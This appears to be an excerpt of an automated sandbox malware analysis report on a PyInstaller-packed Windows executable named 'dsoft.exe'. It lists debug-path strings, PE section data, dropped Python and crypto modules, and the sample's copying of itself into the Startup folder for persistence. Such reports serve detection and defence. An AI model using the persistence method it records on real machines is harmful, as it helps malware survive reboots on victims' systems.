            Source: Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160261628.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\select.pdb source: dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166596083.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168290335.000001463F1F2000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_uuid.pdb source: dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2161628059.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160707465.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_win32sysloader.pdb source: dsoft.exe, 00000000.00000003.1995076039.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168703723.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32trace.pdb source: dsoft.exe, 00000000.00000003.1996740060.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168910308.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: dsoft.exe, 00000000.00000003.1985304722.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159039587.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: dsoft.exe, 00000000.00000003.1985304722.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159039587.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160557351.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160421599.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159384277.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: dsoft.exe, 00000000.00000003.1985477905.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159177221.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159977076.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: dsoft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
            Source: dsoft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
            Source: dsoft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
            Source: dsoft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
            Source: dsoft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
            Source: VCRUNTIME140.dll.0.drStatic PE information: 0x8E79CD85 [Sat Sep 30 01:19:01 2045 UTC]
            Source: dsoft.exeStatic PE information: section name: _RDATA
            Source: mfc140u.dll.0.drStatic PE information: section name: .didat
            Source: VCRUNTIME140.dll.0.drStatic PE information: section name: _RDATA
            Source: libcrypto-1_1.dll.0.drStatic PE information: section name: .00cfg
            Source: libssl-1_1.dll.0.drStatic PE information: section name: .00cfg
            Source: python310.dll.0.drStatic PE information: section name: PyRuntim
            Source: dsoft.exe.1.drStatic PE information: section name: _RDATA
            Source: mfc140u.dll.10.drStatic PE information: section name: .didat
            Source: VCRUNTIME140.dll.10.drStatic PE information: section name: _RDATA
            Source: libcrypto-1_1.dll.10.drStatic PE information: section name: .00cfg
            Source: libssl-1_1.dll.10.drStatic PE information: section name: .00cfg
            Source: python310.dll.10.drStatic PE information: section name: PyRuntim

            Persistence and Installation Behavior

            barindex
            Found pyInstaller with non standard icon
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: "C:\Users\user\Desktop\dsoft.exe"
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe"
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_Salsa20.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA384.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\win32\win32trace.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2s.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_clmul.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\pyexpat.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aes.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_uuid.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ofb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\win32com\shell\shell.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_RIPEMD160.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA512.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Util\_strxor.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_chacha20.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\libffi-7.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\unicodedata.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA1.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ed25519.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\libssl-1_1.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA1.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD4.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_ghash_portable.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pywintypes310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin\mfc140u.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ecb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Math\_modexp.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\libcrypto-1_1.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\VCRUNTIME140.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_x25519.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_socket.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_ssl.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_arc2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cbc.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ofb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\libffi-7.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_overlapped.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA256.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des3.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pythoncom310.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_hashlib.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\win32com\shell\shell.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Protocol\_scrypt.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_socket.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_ssl.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_lzma.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_BLAKE2b.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\python310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ocb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\select.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_aes.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\libcrypto-1_1.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_x25519.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_multiprocessing.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin\win32ui.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\sqlite3.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\VCRUNTIME140_1.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_ARC4.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_sqlite3.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_ghash_clmul.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ec_ws.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_aesni.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA384.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cfb.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Math\_modexp.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_cffi_backend.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cfb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_strxor.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Util\_cpuid_c.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_sqlite3.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\VCRUNTIME140.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed448.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_cffi_backend.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cast.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_uuid.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ec_ws.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ocb.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\win32\win32api.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed25519.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD4.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\sqlite3.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_decimal.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\select.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_bz2.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\libssl-1_1.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pywintypes310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ecb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA224.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\pyexpat.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_ctypes.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2b.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\charset_normalizer\md.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\mfc140u.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_bz2.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ed448.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_RIPEMD160.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD5.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_cpuid_c.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_queue.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_overlapped.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_queue.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\charset_normalizer\md__mypyc.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\win32\win32trace.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\unicodedata.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_asyncio.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cbc.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_keccak.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_portable.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_lzma.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_hashlib.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_chacha20.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_poly1305.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_des.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\win32\win32api.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\win32\_win32sysloader.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md__mypyc.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_multiprocessing.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_ARC4.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aesni.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA256.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_ctypes.pydJump to dropped file
